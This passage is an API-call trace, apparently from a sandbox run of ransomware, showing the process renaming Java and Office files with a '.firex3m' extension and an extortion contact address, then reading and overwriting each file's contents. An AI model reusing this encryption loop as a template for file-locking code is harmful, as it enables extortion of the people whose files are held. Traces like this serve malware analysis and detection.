psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", len=0x31 | out: pbstr=0x6afff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 1 [0124.383] GetProcessHeap () returned 0x630000 [0124.383] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x10c) returned 0x66a3e0 [0124.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0124.388] CloseHandle (hObject=0x710) returned 1 [0124.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="META-I~1.FIR")) returned 0x6d4e00 [0124.407] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0124.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0124.407] GetProcessHeap () returned 0x630000 [0124.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x861) returned 0x7181598 [0124.407] GetProcessHeap () returned 0x630000 [0124.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x861) returned 0x6e5368 [0124.408] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.408] ReadFile (in: hFile=0x6bc, lpBuffer=0x7181598, nNumberOfBytesToRead=0x840, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7181598*, lpNumberOfBytesRead=0x6afff0c*=0x840, lpOverlapped=0x0) returned 1 [0124.438] GetProcessHeap () returned 0x630000 [0124.438] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.438] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.438] WriteFile (in: hFile=0x6bc, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x6afff0c*=0x840, lpOverlapped=0x0) returned 1 [0124.438] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.439] WriteFile (in: hFile=0x6bc, lpBuffer=0x6e5ba7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5ba7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.439] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.439] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.439] CloseHandle (hObject=0x6bc) returned 1 [0124.440] GetProcessHeap () returned 0x630000 [0124.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0124.440] GetProcessHeap () returned 0x630000 [0124.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7181598 | out: hHeap=0x630000) returned 1 [0124.440] GetProcessHeap () returned 0x630000 [0124.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.440] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x101dd26d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x872, dwReserved0=0x9807496, dwReserved1=0x7181590, cFileName="meta-index.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="META-I~1.FIR")) returned 0x6d5200 [0124.440] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.440] Sleep (dwMilliseconds=0x1) [0124.458] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", len=0x4d | out: pbstr=0x6afff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 1 [0124.458] GetProcessHeap () returned 0x630000 [0124.458] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xfc) returned 0x66a3e0 [0124.458] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.459] CloseHandle (hObject=0x414) returned 1 [0124.459] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.459] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JMXREM~1.FIR")) returned 0x6d4ec0 [0124.460] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0124.460] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.460] GetProcessHeap () returned 0x630000 [0124.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb41) returned 0x6e5368 [0124.460] GetProcessHeap () returned 0x630000 [0124.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb41) returned 0x6fba008 [0124.460] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.460] ReadFile (in: hFile=0x414, lpBuffer=0x6e5368, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesRead=0x6afff0c*=0xb20, lpOverlapped=0x0) returned 1 [0124.515] GetProcessHeap () returned 0x630000 [0124.515] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0124.515] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.515] WriteFile (in: hFile=0x414, lpBuffer=0x6fba008*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesWritten=0x6afff0c*=0xb20, lpOverlapped=0x0) returned 1 [0124.515] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.515] WriteFile (in: hFile=0x414, lpBuffer=0x6fbab27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbab27*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.515] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.515] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.515] CloseHandle (hObject=0x414) returned 1 [0124.518] GetProcessHeap () returned 0x630000 [0124.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0124.518] GetProcessHeap () returned 0x630000 [0124.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0124.518] GetProcessHeap () returned 0x630000 [0124.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0124.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1029bd71, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb4c, dwReserved0=0x9807496, dwReserved1=0x6e5360, cFileName="jmxremote.password.template.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JMXREM~1.FIR")) returned 0x6d4f80 [0127.114] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0127.420] Sleep (dwMilliseconds=0x1) [0129.039] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", len=0x36 | out: pbstr=0x6afff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 1 [0129.039] GetProcessHeap () returned 0x630000 [0129.039] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x80) returned 0x66a3e0 [0129.039] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0129.039] CloseHandle (hObject=0x6d0) returned 1 [0129.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x2d000f22, dwReserved1=0x0, cFileName="jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JACCES~1.FIR")) returned 0x6d5580 [0129.040] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0129.040] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0129.040] GetProcessHeap () returned 0x630000 [0129.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xae01) returned 0x727c6d8 [0129.041] GetProcessHeap () returned 0x630000 [0129.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xae01) returned 0x72874e8 [0129.041] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.042] ReadFile (in: hFile=0x6d0, lpBuffer=0x727c6d8, nNumberOfBytesToRead=0xade0, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x727c6d8*, lpNumberOfBytesRead=0x6afff0c*=0xade0, lpOverlapped=0x0) returned 1 [0137.271] GetProcessHeap () returned 0x630000 [0137.271] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0137.271] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.271] WriteFile (in: hFile=0x6d0, lpBuffer=0x72874e8*, nNumberOfBytesToWrite=0xade0, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72874e8*, lpNumberOfBytesWritten=0x6afff0c*=0xade0, lpOverlapped=0x0) returned 1 [0137.272] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.272] WriteFile (in: hFile=0x6d0, lpBuffer=0x72922c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72922c7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.272] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.272] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.272] CloseHandle (hObject=0x6d0) returned 1 [0137.274] GetProcessHeap () returned 0x630000 [0137.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72874e8 | out: hHeap=0x630000) returned 1 [0137.277] GetProcessHeap () returned 0x630000 [0137.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727c6d8 | out: hHeap=0x630000) returned 1 [0137.278] GetProcessHeap () returned 0x630000 [0137.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0137.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x17c3eef5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x9807496, dwReserved1=0x727c6d0, cFileName="jaccess.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JACCES~1.FIR")) returned 0x6d5200 [0137.278] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.278] Sleep (dwMilliseconds=0x1) [0139.067] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx", len=0x57 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 1 [0139.067] GetProcessHeap () returned 0x630000 [0139.067] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a0c) returned 0x72b0508 [0139.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0139.068] CloseHandle (hObject=0x5e4) returned 1 [0139.068] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0139.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0139.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbcee, dwReserved0=0xf008da22, dwReserved1=0x5d006e, cFileName="Reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFLEC~1.FIR")) returned 0x6d53c0 [0139.069] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0139.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0139.069] GetProcessHeap () returned 0x630000 [0139.069] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72531e0 [0139.069] GetProcessHeap () returned 0x630000 [0139.069] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0139.070] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.070] ReadFile (in: hFile=0x5e4, lpBuffer=0x72531e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531e0*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.558] GetProcessHeap () returned 0x630000 [0142.558] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0142.558] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.558] WriteFile (in: hFile=0x5e4, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.558] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.559] WriteFile (in: hFile=0x5e4, lpBuffer=0x728fadf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fadf*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.559] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.559] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.559] CloseHandle (hObject=0x5e4) returned 1 [0142.559] GetProcessHeap () returned 0x630000 [0142.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0142.563] GetProcessHeap () returned 0x630000 [0142.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72531e0 | out: hHeap=0x630000) returned 1 [0142.563] GetProcessHeap () returned 0x630000 [0142.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0142.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1aeb9e3b, 